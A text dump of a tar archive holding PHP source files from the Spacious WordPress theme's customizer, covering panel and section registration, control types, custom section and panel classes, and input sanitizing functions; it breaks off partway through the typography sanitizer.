| Current Path : /home/b/e/c/bechata/mp/73eb7/ |
| Current File : /home/b/e/c/bechata/mp/73eb7/customizer.tar |
class-spacious-customizer-register-sections-panels.php 0000666 00000020333 15236704333 0017352 0 ustar 00 <?php
/**
* Class to register panels and sections for customize options.
*
* Class Spacious_Customize_Register_Section_Panels
*
* @package ThemeGrill
* @subpackage spacious
* @since Spacious 1.9.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to register panels and sections for customize options.
*
* Class Spacious_Customize_Register_Section_Panels
*/
class Spacious_Customize_Register_Section_Panels extends Spacious_Customize_Base_Option {
/**
* Include customize options.
*
* @param array $options Customize options provided via the theme.
* @param \WP_Customize_Manager $wp_customize Theme Customizer object.
*
* @return mixed|void Customizer options for registering panels, sections as well as controls.
*/
public function register_options( $options, $wp_customize ) {
$configs = array(
// View Pro Version section.
array(
'name' => 'spacious_customize_upsell_section',
'type' => 'section',
'title' => esc_html__( 'View Pro Version', 'spacious' ),
'url' => 'https://themegrill.com/spacious-pricing/?utm_source=spacious-customizer&utm_medium=view-pro-link&utm_campaign=spacious-pricing',
'priority' => 1,
'section_callback' => 'Spacious_Upsell_Section',
),
/**
* Panels.
*/
array(
'name' => 'spacious_global_options',
'type' => 'panel',
'title' => esc_html__( 'Global', 'spacious' ),
'priority' => 10,
),
array(
'name' => 'spacious_header_options',
'type' => 'panel',
'title' => esc_html__( 'Header', 'spacious' ),
'priority' => 20,
),
array(
'name' => 'spacious_slider_options',
'type' => 'section',
'title' => esc_html__( 'Slider', 'spacious' ),
'priority' => 30,
),
array(
'name' => 'spacious_content_options',
'type' => 'panel',
'title' => esc_html__( 'Content', 'spacious' ),
'priority' => 40,
),
array(
'name' => 'spacious_footer_options',
'type' => 'panel',
'title' => esc_html__( 'Footer', 'spacious' ),
'priority' => 50,
),
// Separator.
array(
'name' => 'separator',
'type' => 'section',
'priority' => 80,
'section_callback' => 'spacious_WP_Customize_Separator',
),
/**
* Global.
*/
// Colors.
array(
'name' => 'spacious_global_color_setting',
'type' => 'section',
'title' => esc_html__( 'Colors', 'spacious' ),
'panel' => 'spacious_global_options',
'priority' => 10,
),
array(
'name' => 'spacious_primary_colors_section',
'type' => 'section',
'title' => esc_html__( 'Primary Colors', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_color_setting',
'priority' => 10,
),
array(
'name' => 'spacious_skin_color_section',
'type' => 'section',
'title' => esc_html__( 'Color Skin', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_color_setting',
'priority' => 30,
),
// Background.
array(
'name' => 'spacious_global_background_section',
'type' => 'section',
'title' => esc_html__( 'Background', 'spacious' ),
'panel' => 'spacious_global_options',
'priority' => 20,
),
// Layout.
array(
'name' => 'spacious_global_layout_section',
'type' => 'section',
'title' => esc_html__( 'Layout', 'spacious' ),
'panel' => 'spacious_global_options',
'priority' => 30,
),
array(
'name' => 'spacious_site_layout_section',
'type' => 'section',
'title' => esc_html__( 'Site Layout', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_layout_section',
'priority' => 10,
),
array(
'name' => 'spacious_sidebar_layout_section',
'type' => 'section',
'title' => esc_html__( 'Sidebar Layout', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_layout_section',
'priority' => 20,
),
// Typography.
array(
'name' => 'spacious_global_typography_section',
'type' => 'section',
'title' => esc_html__( 'Typography', 'spacious' ),
'panel' => 'spacious_global_options',
'priority' => 40,
),
array(
'name' => 'spacious_base_typography_section',
'type' => 'section',
'title' => esc_html__( 'Base', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_typography_section',
'priority' => 10,
),
array(
'name' => 'spacious_headings_typography_section',
'type' => 'section',
'title' => esc_html__( 'Headings', 'spacious' ),
'panel' => 'spacious_global_options',
'section' => 'spacious_global_typography_section',
'priority' => 20,
),
/**
* Header.
*/
array(
'name' => 'title_tagline',
'type' => 'section',
'title' => esc_html__( 'Site Identity', 'spacious' ),
'panel' => 'spacious_header_options',
'priority' => 5,
),
array(
'name' => 'spacious_header_top_bar',
'type' => 'section',
'title' => esc_html__( 'Top Bar', 'spacious' ),
'panel' => 'spacious_header_options',
'priority' => 20,
),
array(
'name' => 'spacious_header_main',
'type' => 'section',
'title' => esc_html__( 'Primary Header', 'spacious' ),
'panel' => 'spacious_header_options',
'priority' => 30,
),
array(
'name' => 'spacious_header_primary_menu',
'type' => 'section',
'title' => esc_html__( 'Primary Menu', 'spacious' ),
'panel' => 'spacious_header_options',
'priority' => 40,
),
array(
'name' => 'spacious_header_button',
'type' => 'section',
'title' => esc_html__( 'Header Button', 'spacious' ),
'panel' => 'spacious_header_options',
'priority' => 50,
),
array(
'name' => 'spacious_header_button_one',
'type' => 'section',
'title' => esc_html__( 'Header Button One', 'spacious' ),
'panel' => 'spacious_header_options',
'section' => 'spacious_header_button',
'priority' => 20,
),
/**
* Content.
*/
array(
'name' => 'spacious_post_page_content_options',
'type' => 'section',
'title' => esc_html__( 'Page Header', 'spacious' ),
'panel' => 'spacious_content_options',
'priority' => 10,
),
array(
'name' => 'spacious_blog_content_options',
'type' => 'section',
'title' => esc_html__( 'Blog / Archive', 'spacious' ),
'panel' => 'spacious_content_options',
'priority' => 20,
),
array(
'name' => 'spacious_single_post_section',
'type' => 'section',
'title' => esc_html__( 'Single Post', 'spacious' ),
'panel' => 'spacious_content_options',
'priority' => 30,
),
array(
'name' => 'spacious_page_section',
'type' => 'section',
'title' => esc_html__( 'Page', 'spacious' ),
'panel' => 'spacious_content_options',
'priority' => 50,
),
/**
* Footer.
*/
array(
'name' => 'spacious_footer_widgets_area_section',
'type' => 'section',
'title' => esc_html__( 'Footer Widgets Area', 'spacious' ),
'panel' => 'spacious_footer_options',
'priority' => 20,
),
/**
* Additional.
*/
array(
'name' => 'spacious_social_links_options',
'type' => 'section',
'title' => esc_html__( 'Social Icons', 'spacious' ),
'priority' => 10,
),
/**
* WooCommerce.
*/
array(
'name' => 'spacious_woocommerce_page_layout_setting',
'type' => 'section',
'title' => esc_html__( 'Sidebar', 'spacious' ),
'panel' => 'woocommerce',
'priority' => 1,
),
array(
'name' => 'spacious_woocommerce_button_design',
'type' => 'section',
'title' => esc_html__( 'Design', 'spacious' ),
'panel' => 'woocommerce',
'priority' => 2,
),
);
$options = array_merge( $options, $configs );
return $options;
}
}
return new Spacious_Customize_Register_Section_Panels();
class-spacious-customizer.php 0000666 00000025622 15236704333 0012431 0 ustar 00 <?php
/**
* Spacious customizer class for theme customize options.
*
* Class Spacious_Customizer
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 1.9.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
// Include the customizer framework files.
require( dirname( __FILE__ ) . '/core/class-spacious-customizer-framework.php' );
require( dirname( __FILE__ ) . '/core/class-spacious-customize-base-option.php' );
/**
* Spacious customizer class.
*
* Class Spacious_Customizer
*/
class Spacious_Customizer {
/**
* Customizer setup constructor.
*
* Spacious_Customizer constructor.
*/
public function __construct() {
// Include the required files for Customize option.
add_action( 'customize_register', array( $this, 'customize_register' ), 12 );
// Include the required files for Customize option.
add_action( 'customize_register', array( $this, 'customize_options_file_include' ), 1 );
}
/**
* Include the required files for extending the custom Customize controls.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*/
public function customize_custom_panels_sections_includes( $wp_customize ) {
// Include the required customizer nested panels and sections files.
require SPACIOUS_CUSTOMIZER_DIR . '/extend-customizer/class-spacious-upsell-section.php';
}
/**
* Include the required files for extending the custom Customize controls.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*/
public function customize_register( $wp_customize ) {
// Override default.
require SPACIOUS_CUSTOMIZER_DIR . '/override-defaults.php';
}
/**
* Register Spacious customize panels, sections and controls type.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*/
public function register_panels_sections_controls( $wp_customize ) {
// Register panels and sections.
$wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' );
$wp_customize->register_section_type( 'Spacious_WP_Customize_Section' );
$wp_customize->register_section_type( 'Spacious_Upsell_Section' );
/**
* Register controls.
*/
/**
* WordPress default controls.
*/
// Checkbox control.
Spacious_Customize_Base_Control::add_control(
'checkbox',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_checkbox',
),
)
);
// Radio control.
Spacious_Customize_Base_Control::add_control(
'radio',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_radio_select',
),
)
);
// Select control.
Spacious_Customize_Base_Control::add_control(
'select',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_radio_select',
),
)
);
// Text control.
Spacious_Customize_Base_Control::add_control(
'text',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_nohtml',
),
)
);
// Number control.
Spacious_Customize_Base_Control::add_control(
'number',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_number',
),
)
);
// Email control.
Spacious_Customize_Base_Control::add_control(
'email',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_email',
),
)
);
// URL control.
Spacious_Customize_Base_Control::add_control(
'url',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_url',
),
)
);
// Textarea control.
Spacious_Customize_Base_Control::add_control(
'textarea',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_html',
),
)
);
// Dropdown pages control.
Spacious_Customize_Base_Control::add_control(
'dropdown-pages',
array(
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_dropdown_pages',
),
)
);
// Color control.
Spacious_Customize_Base_Control::add_control(
'color',
array(
'callback' => 'WP_Customize_Color_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_hex_color',
),
)
);
// Image upload control.
Spacious_Customize_Base_Control::add_control(
'image',
array(
'callback' => 'WP_Customize_Image_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_image_upload',
),
)
);
// Radio image control.
Spacious_Customize_Base_Control::add_control(
'spacious-radio-image',
array(
'callback' => 'Spacious_Radio_Image_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_radio_select',
),
)
);
// Heading control.
Spacious_Customize_Base_Control::add_control(
'spacious-heading',
array(
'callback' => 'Spacious_Heading_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_false_values',
),
)
);
// Editor control.
Spacious_Customize_Base_Control::add_control(
'spacious-editor',
array(
'callback' => 'Spacious_Editor_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_html',
),
)
);
// Color control.
Spacious_Customize_Base_Control::add_control(
'spacious-color',
array(
'callback' => 'Spacious_Color_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_alpha_color',
),
)
);
// Buttonset control.
Spacious_Customize_Base_Control::add_control(
'spacious-buttonset',
array(
'callback' => 'Spacious_Buttonset_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_radio_select',
),
)
);
// Toggle control.
Spacious_Customize_Base_Control::add_control(
'spacious-toggle',
array(
'callback' => 'Spacious_Toggle_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_checkbox',
),
)
);
// Divider control.
Spacious_Customize_Base_Control::add_control(
'spacious-divider',
array(
'callback' => 'Spacious_Divider_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_false_values',
),
)
);
// Slider control.
Spacious_Customize_Base_Control::add_control(
'spacious-slider',
array(
'callback' => 'Spacious_Slider_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_number',
),
)
);
// Custom control.
Spacious_Customize_Base_Control::add_control(
'spacious-custom',
array(
'callback' => 'Spacious_Custom_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_false_values',
),
)
);
// Dropdown categories control.
Spacious_Customize_Base_Control::add_control(
'spacious-dropdown-categories',
array(
'callback' => 'Spacious_Dropdown_Categories_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_dropdown_categories',
),
)
);
// Background control.
Spacious_Customize_Base_Control::add_control(
'spacious-background',
array(
'callback' => 'Spacious_Background_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_background',
),
)
);
// Typography control.
Spacious_Customize_Base_Control::add_control(
'spacious-typography',
array(
'callback' => 'Spacious_Typography_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_typography',
),
)
);
// Hidden control.
Spacious_Customize_Base_Control::add_control(
'spacious-hidden',
array(
'callback' => 'Spacious_Hidden_Control',
'sanitize_callback' => '',
)
);
// Sortable control.
Spacious_Customize_Base_Control::add_control(
'spacious-sortable',
array(
'callback' => 'Spacious_Sortable_Control',
'sanitize_callback' => array(
'Spacious_Customizer_Sanitizes',
'sanitize_sortable',
),
)
);
// Group control.
Spacious_Customize_Base_Control::add_control(
'spacious-group',
array(
'callback' => 'Spacious_Group_Control',
)
);
}
/**
* Include the required files for Customize option.
*/
public function customize_options_file_include() {
// Include the required customize section and panels register file.
require SPACIOUS_CUSTOMIZER_DIR . '/class-spacious-customizer-register-sections-panels.php';
/**
* Include the required customize options file.
*/
// Global.
require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-colors-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-background-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-typography-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-layout-options.php';
// Header.
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-site-identity-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-media-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-top-bar-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-header-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-menu-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-button.php';
// Slider.
require SPACIOUS_CUSTOMIZER_DIR . '/options/slider/class-spacious-customize-slider-options.php';
// Content.
require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-header-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-blog-archive-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-single-post-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-options.php';
// Additional.
require SPACIOUS_CUSTOMIZER_DIR . '/options/social/class-spacious-customize-social-icons-options.php';
// Footer.
require SPACIOUS_CUSTOMIZER_DIR . '/options/footer/class-spacious-customize-footer-widgets-area-options.php';
// WooCommerce.
require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-sidebar-options.php';
require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-design-options.php';
}
}
return new Spacious_Customizer();
core/extend-customizer/class-spacious-wp-customize-section.php 0000666 00000002700 15236704333 0020746 0 ustar 00 <?php
/**
* Extend customize section to include nested sections.
*
* Class Spacious_WP_Customize_Section
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Extend customize section to include nested sections.
*
* Class Spacious_WP_Customize_Section
*/
class Spacious_WP_Customize_Section extends WP_Customize_Section {
/**
* Section
*
* @var string
*/
public $section;
/**
* Control type.
*
* @var string
*/
public $type = 'spacious_section';
/**
* Get section parameters for JS.
*
* @return array Exported parameters.
*/
public function json() {
$array = wp_array_slice_assoc(
(array) $this,
array(
'id',
'description',
'priority',
'panel',
'type',
'description_hidden',
'section',
)
);
$array['title'] = html_entity_decode(
$this->title,
ENT_QUOTES,
get_bloginfo( 'charset' )
);
$array['content'] = $this->get_content();
$array['active'] = $this->active();
$array['instanceNumber'] = $this->instance_number;
if ( $this->panel ) {
$array['customizeAction'] = sprintf(
esc_html__( 'Customizing ▸ %s', 'spacious' ),
esc_html( $this->manager->get_panel( $this->panel )->title )
);
} else {
$array['customizeAction'] = esc_html__( 'Customizing', 'spacious' );
}
return $array;
}
}
core/extend-customizer/class-spacious-wp-customize-separator.php 0000666 00000001641 15236704333 0021305 0 ustar 00 <?php
/**
* Customizer Control: panel.
*
* Creates a jQuery color control.
*
* @package Spacious
* @author Spacious
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
if ( class_exists( 'WP_Customize_Section' ) ) {
/**
* Adds a custom Customize Section for section separator.
*
* @link https://gist.github.com/OriginalEXE/9a6183e09f4cae2f30b006232bb154af
* @since 2.0.0
* @see WP_Customize_Section
*/
class Spacious_WP_Customize_Separator extends WP_Customize_Section {
/**
* Control type.
*
* @since 1.0.31
* @var string
*/
public $type = 'spacious-section-separator';
/**
* Template for section separator
*
* @since 2.0.0
*/
protected function render_template() {
?>
<li id="accordion-section-{{ data.id }}" class="tg-section-separator accordion-section control-section control-section-{{ data.type }}"></li>
<?php
}
}
}
core/extend-customizer/class-spacious-wp-customize-panel.php 0000666 00000002152 15236704333 0020402 0 ustar 00 <?php
/**
* Extend customize panel to include nested panels.
*
* Class Spacious_WP_Customize_Panel
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Extend customize panel to include nested panels.
*
* Class Spacious_WP_Customize_Panel
*/
class Spacious_WP_Customize_Panel extends WP_Customize_Panel {
/**
* Panel
*
* @var string
*/
public $panel;
/**
* Control type.
*
* @var string
*/
public $type = 'spacious_panel';
/**
* Get section parameters for JS.
*
* @return array Exported parameters.
*/
public function json() {
$array = wp_array_slice_assoc(
(array) $this,
array(
'id',
'description',
'priority',
'type',
'panel',
)
);
$array['title'] = html_entity_decode(
$this->title,
ENT_QUOTES,
get_bloginfo( 'charset' )
);
$array['content'] = $this->get_content();
$array['active'] = $this->active();
$array['instanceNumber'] = $this->instance_number;
return $array;
}
}
core/extend-customizer/class-spacious-upsell-section.php 0000666 00000002442 15236704333 0017607 0 ustar 00 <?php
/**
* Customize upsell section.
*
* Class Spacious_Upsell_Section
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 2.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class to include upsell link campaign for theme.
*
* Class Spacious_Upsell_Section
*/
class Spacious_Upsell_Section extends WP_Customize_Section {
/**
* Control type.
*
* @var string
*/
public $type = 'spacious-upsell-section';
/**
* Control URL.
*
* @var string
*/
public $url = '';
/**
* Control ID.
*
* @var string
*/
public $id = '';
/**
* Gather the parameters passed to client JavaScript via JSON.
*
* @return array The array to be exported to the client as JSON.
*/
public function json() {
$json = parent::json();
$json['url'] = esc_url( $this->url );
$json['id'] = $this->id;
return $json;
}
/**
* An Underscore (JS) template for rendering this section.
*/
protected function render_template() {
?>
<li id="accordion-section-{{ data.id }}"
class="spacious-upsell-accordion-section control-section-{{ data.type }} cannot-expand accordion-section"
>
<h3 class="accordion-section-title"><a href="{{{ data.url }}}" target="_blank">{{ data.title }}</a></h3>
</li>
<?php
}
}
core/class-spacious-customizer-sanitizes.php 0000666 00000040752 15236704333 0015371 0 ustar 00 <?php
/**
* Spacious customizer class for theme customize sanitizes.
*
* Class Spacious_Customizer_FrameWork_Sanitizes
*
* @package ThemeGrill
* @subpackage Spacious
* @since Spacious 3.0.0
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Spacious customizer class for theme customize callbacks.
*
* Class Spacious_Customizer_FrameWork_Sanitizes
*/
class Spacious_Customizer_FrameWork_Sanitizes {
/**
* Sanitize the checkbox options set within customizer controls.
*
* @param int $input Input from the customize controls.
*
* @return int|string
*/
public static function sanitize_checkbox( $input ) {
return ( ( $input == 1 ) ? 1 : '' );
}
/**
* Sanitize the number options set within customizer controls.
*
* @param int $number Input from the customize controls.
* @param WP_Customize_Setting $setting Setting instance.
*
* @return int
*/
public static function sanitize_integer( $number, $setting ) {
return ( is_numeric( $number ) ? intval( $number ) : $setting->default );
}
/**
* Sanitize the strings enabling HTML tags set within customizer controls.
*
* @param string $input Input from the customize controls.
*
* @return string
*/
public static function sanitize_html( $input ) {
return wp_kses_post( $input );
}
/**
* Sanitize the strings disabling the HTML tags set within customizer controls.
*
* @param string $input Input from the customize controls.
*
* @return string
*/
public static function sanitize_nohtml( $input ) {
return wp_filter_nohtml_kses( $input );
}
/**
* Sanitize the key values set within customizer controls.
*
* @param string $input Input from the customize controls.
*
* @return string
*/
public static function sanitize_key( $input ) {
return sanitize_key( $input );
}
/**
* Sanitize the text fields set within customizer controls.
*
* @param string $input Input from the customize controls.
*
* @return string
*/
public static function sanitize_text_field( $input ) {
return sanitize_text_field( $input );
}
/**
* Sanitize the radio as well as select options set within customizer controls.
*
* @param string $input Input from the customize controls.
* @param WP_Customize_Setting $setting Setting instance.
*
* @return string
*/
public static function sanitize_radio_select( $input, $setting ) {
// Ensuring that the input is a slug.
$input = sanitize_text_field( $input );
// Get the list of choices from the control associated with the setting.
$choices = $setting->manager->get_control( $setting->id )->choices;
// If the input is a valid key, return it, else, return the default.
return ( array_key_exists( $input, $choices ) ? $input : $setting->default );
}
/**
* Sanitize the hex color set within customizer controls.
*
* @param string $color Input from the customize controls.
*
* @return string
*/
public static function sanitize_hex_color( $color ) {
if ( '' === $color ) {
return '';
}
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
}
/**
* Sanitize the alpha color set within customizer controls.
*
* @param string $color Input from the customize controls.
*
* @return string
*/
public static function sanitize_alpha_color( $color ) {
if ( '' === $color ) {
return '';
}
// Hex sanitize if no rgba color option is chosen.
if ( false === strpos( $color, 'rgba' ) ) {
return self::sanitize_hex_color( $color );
}
// Sanitize the rgba color provided via customize option.
$color = str_replace( ' ', '', $color );
sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')';
}
/**
* Sanitize false values within customizer controls, which user does not have to input by their own.
*
* @return bool
*/
public static function sanitize_false_values() {
return false;
}
/**
* Sanitize the slider value set within customizer controls.
*
* @param number $val Customizer setting input number.
* @param object $setting Setting object.
*
* @return int
*/
public static function sanitize_number( $val, $setting ) {
$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;
if ( isset( $input_attrs ) ) {
$input_attrs['min'] = isset( $input_attrs['min'] ) ? $input_attrs['min'] : 0;
$input_attrs['step'] = isset( $input_attrs['step'] ) ? $input_attrs['step'] : 1;
if ( isset( $input_attrs['max'] ) && $val > $input_attrs['max'] ) {
$val = $input_attrs['max'];
} elseif ( $val < $input_attrs['min'] ) {
$val = $input_attrs['min'];
}
if ( $val ) {
$val = (int) $val;
}
}
return is_numeric( $val ) ? $val : $setting->default;
}
/**
* Sanitize the email value set within customizer controls.
*
* @param string $email Input from the customize controls.
* @param object $setting Setting object.
*
* @return string
*/
public static function sanitize_email( $email, $setting ) {
// Strips out all characters that are not allowable in an email address.
$email = sanitize_email( $email );
// If $email is a valid email, return it, otherwise, return the default.
return ( ! is_null( $email ) ? $email : $setting->default );
}
/**
* Sanitize the url value set within customizer controls.
*
* @param string $url Input from the customize controls.
*
* @return string
*/
public static function sanitize_url( $url ) {
return esc_url_raw( $url );
}
/**
* Sanitize the dropdown categories value set within customizer controls.
*
* @param number $cat_id Customizer setting input category id.
* @param object $setting Setting object.
*
* @return int
*/
public static function sanitize_dropdown_categories( $cat_id, $setting ) {
// Ensure input is an absolute integer.
$cat_id = absint( $cat_id );
// If $cat_id is an ID of a published category, return it, otherwise, return the default value.
return ( term_exists( $cat_id, 'category' ) ? $cat_id : $setting->default );
}
/**
* Sanitize the dropdown pages value set within customizer controls.
*
* @param number $page_id Customizer setting input page id.
* @param object $setting Setting object.
*
* @return int
*/
public static function sanitize_dropdown_pages( $page_id, $setting ) {
// Ensure input is an absolute integer.
$page_id = absint( $page_id );
// If $page_id is an ID of a published page, return it, otherwise, return the default value.
return ( 'publish' == get_post_status( $page_id ) ? $page_id : $setting->default );
}
/**
* Sanitize the image value set within customizer controls.
*
* @param number $image Customizer setting input image filename.
* @param object $setting Setting object.
*
* @return int
*/
public static function sanitize_image_upload( $image, $setting ) {
/**
* Array of valid image file types.
*
* The array includes image mime types that are included in wp_get_mime_types()
*/
$mimes = array(
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
);
// Return an array with file extension and mime_type.
$file = wp_check_filetype( $image, $mimes );
// If $image has a valid mime_type, return it, otherwise, return the empty value.
return ( $file['ext'] ? $image : '' );
}
/**
* Sanitize the background value set within customizer controls.
*
* @param number $background_args Customizer setting input background arguments.
* @param object $setting Setting object.
*
* @return mixed
*/
public static function sanitize_background( $background_args, $setting ) {
if ( ! is_array( $background_args ) ) {
return array();
}
$output = array();
// Sanitizing the alpha color option.
if ( isset( $background_args['background-color'] ) ) {
$output['background-color'] = self::sanitize_alpha_color( $background_args['background-color'] );
}
// Sanitizing the background image option.
if ( isset( $background_args['background-image'] ) ) {
$output['background-image'] = self::sanitize_image_upload( $background_args['background-image'], $setting );
}
// Sanitizing the background repeat option.
if ( isset( $background_args['background-repeat'] ) ) {
$output['background-repeat'] = self::sanitize_text_field( $background_args['background-repeat'] );
}
// Sanitizing the background position option.
if ( isset( $background_args['background-position'] ) ) {
$output['background-position'] = self::sanitize_text_field( $background_args['background-position'] );
}
// Sanitizing the background size option.
if ( isset( $background_args['background-size'] ) ) {
$output['background-size'] = self::sanitize_text_field( $background_args['background-size'] );
}
// Sanitizing the background attachment option.
if ( isset( $background_args['background-attachment'] ) ) {
$output['background-attachment'] = self::sanitize_text_field( $background_args['background-attachment'] );
}
return $output;
}
/**
* Sanitize the typography value set within customizer controls.
*
* @param number $typography_args Customizer setting input typography arguments.
* @param object $setting Setting object.
*
* @return mixed
*/
public static function sanitize_typography( $typography_args, $setting ) {
if ( ! is_array( $typography_args ) ) {
return array();
}
$output = array();
// Sanitizing the font family option.
if ( isset( $typography_args['font-family'] ) ) {
$standard_fonts = Spacious_Fonts::get_system_fonts();
$google_fonts = Spacious_Fonts::get_google_fonts();
$custom_fonts = Spacious_Fonts::get_custom_fonts();
$valid_keys = array_merge( $standard_fonts, $google_fonts );
// If custom fonts is available, merge it to `$valid_keys` array to make those fonts ready for sanitization.
if ( ! empty( $custom_fonts ) ) {
$valid_keys = array_merge( $custom_fonts, $valid_keys );
}
if ( array_key_exists( $typography_args['font-family'], $valid_keys ) ) {
$output['font-family'] = self::sanitize_text_field( $typography_args['font-family'] );
}
}
// Sanitizing the font weight option.
if ( isset( $typography_args['font-weight'] ) ) {
$font_variants = Spacious_Fonts::get_font_variants();
if ( array_key_exists( $typography_args['font-weight'], $font_variants ) ) {
$output['font-weight'] = self::sanitize_key( $typography_args['font-weight'] );
}
}
// Sanitizing the subsets option.
if ( isset( $typography_args['subsets'] ) ) {
$subsets = Spacious_Fonts::get_google_font_subsets();
$subsets_values = array();
if ( is_array( $typography_args['subsets'] ) ) {
foreach ( $typography_args['subsets'] as $key => $value ) {
if ( array_key_exists( $value, $subsets ) ) {
$subsets_values[] = self::sanitize_key( $value );
}
}
$output['subsets'] = $subsets_values;
}
}
// Sanitizing the font style option.
if ( isset( $typography_args['font-style'] ) ) {
$output['font-style'] = self::sanitize_key( $typography_args['font-style'] );
}
// Sanitizing the text transform option.
if ( isset( $typography_args['text-transform'] ) ) {
$output['text-transform'] = self::sanitize_key( $typography_args['text-transform'] );
}
// Sanitizing the text decoration option.
if ( isset( $typography_args['text-decoration'] ) ) {
$output['text-decoration'] = self::sanitize_key( $typography_args['text-decoration'] );
}
// Sanitizing the font size option.
if ( isset( $typography_args['font-size'] ) && is_array( $typography_args['font-size'] ) ) {
$font_size_values = array();
$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;
foreach ( $typography_args['font-size'] as $key => $value ) {
if ( isset( $key ) && ! empty( $value ) ) {
if ( isset( $input_attrs ) && ! empty( $input_attrs ) ) {
foreach ( $input_attrs as $input_key => $input_value ) {
$input_value['font-size']['min'] = isset( $input_value['font-size']['min'] ) ? $input_value['font-size']['min'] : 0;
$input_value['font-size']['step'] = isset( $input_value['font-size']['step'] ) ? $input_value['font-size']['step'] : 1;
if ( isset( $input_value['font-size']['max'] ) && $value > $input_value['font-size']['max'] ) {
$font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['max'] );
} elseif ( $value < $input_value['font-size']['min'] ) {
$font_size_values[ $key ] = self::sanitize_text_field( $input_value['font-size']['min'] );
} else {
$font_size_values[ $key ] = self::sanitize_text_field( $value );
}
}
} else {
$font_size_values[ $key ] = self::sanitize_text_field( $value );
}
}
$output['font-size'] = $font_size_values;
}
}
// Sanitizing the line height option.
if ( isset( $typography_args['line-height'] ) && is_array( $typography_args['line-height'] ) ) {
$line_height_values = array();
